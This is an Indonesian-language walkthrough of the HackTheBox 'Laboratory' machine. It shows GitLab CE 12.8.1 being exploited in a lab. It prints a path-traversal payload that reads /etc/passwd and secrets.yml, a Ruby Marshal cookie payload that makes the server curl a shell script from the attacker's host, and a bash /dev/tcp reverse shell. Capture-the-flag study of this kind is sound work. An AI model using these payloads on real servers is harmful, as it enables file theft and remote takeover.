Gitlab Laboratory

Author : anonputraid

Laboratory

Berikut Adalah Informasi Mengenai Cara Menyelesaikan Box Meshine Laboratory Pada Hackthebox , Tujuan Catatan Informasi Seperti Ini Agar Bisa Terus Mengingat Dan Mengulang Apa Yang Telah Dipelajari Sebelum Nya!

FootHOLD

Port Scan

nmap -sV -sC -sT 10.10.10.216 -oN nmap.scan

Output :

80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Did not follow redirect to https://laboratory.htb/

Scan Nmap Menunjukan Port 80 Terbuka , Dan Kita Mendapatkan Domain Laboratory.htb

Scan Website

Anda Tidak Akan Menemukan Hal Menarik Apapun Pada Website Laboratory.htb , Lalu Baca Lebih Teliti DIsana Kita Menemukan Bahwa Mereka Menggunakan Git, Anda Akan Menemukan Domain git.laboratory.htb Mari pindah ke sub domain

Lakukan Hal Berikut :

  • Disana Anda Bisa Membuat Account , Mari kita coba membuat Akun Anda Dan Untuk Bagian Email Mereka Menggunakan Domain <youname>@Laboratory.htb

  • Jika Sudah Berhasil Login Kunjungi Halaman Berikut : https://git.laboratory.htb/help Anda Akan Mendapat Kan Versi Git Yang Mereka Gunakan : GitLab Community Edition 12.8.1

  • Coba Anda Search Referensi Mengenai Kerentanan Gitlab Comunity Edition 12.8.1

Anda Akan Mendapat Kan Bahwa Versi Tersebut Memiliki Kerentanan File arbitrer Yang Bisa dibaca melalui UploadsRewriter saat memindahkan dan mengeluarkan Referensi :

Langkah-langkah untuk Mengexploitasi Kerentanan Ini :

  1. Buat Dua Project Di Domain git.laboratory.htb

  2. Jika Sudah Lalu Klick Bagian Issue Project Dan Tambahkan masalah dengan deskripsi berikut:

    ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
  3. Dipojok kiri Setelah Anda Menyimpan Issue Tersebut Ada Tombol Move , Lalu Pindahkan Issue ke Project kedua

  4. File Tersebut Akan Berubah Menjadi File Passwd

Dampak Yang AKan Terjadi Adalah Memungkinkan penyerang membaca file sewenang-wenang di server, termasuk token, data pribadi, konfigurasi, dll

Ini memungkinkan untuk mengubahnya menjadi RCE karena ini dapat dilakukan Dengan mengambil secret_key_basefrom /opt/gitlab/embedded/service/gitlab-rails/config/secrets.ymlmenggunakan file arbitrary read dan kemudian menggunakan experimentation_subject_idcookie dengan muatan Marshalled.

Lakukan Hal Berikut :

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

Setelah Itu Untuk Melakukan Serangan RCE Kita Harus Menginstal Gitlab Secara Lokal:

Berikut Langkah-Langkah Untuk Menginstal Gitlab :

Kita Harus Menghasilkan Cookie Dengan Payload :

  • Buat lah File shell.sh Didalam Nya Format: bash -i >& /dev/tcp//1337 0>&1

  • Lalu Setelah Itu Lakukan Ini : sudo python3 -m http.server 8000

  • Berikut Adalah Payload Gitlab :

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl 10.10.14.8:8000/shell.sh -o /tmp/shell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Lalu Salin Bagian Payload Cookie Dan Tambahkan DIbagian Berikut :

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=<cookie>" -k

Last updated

Was this helpful?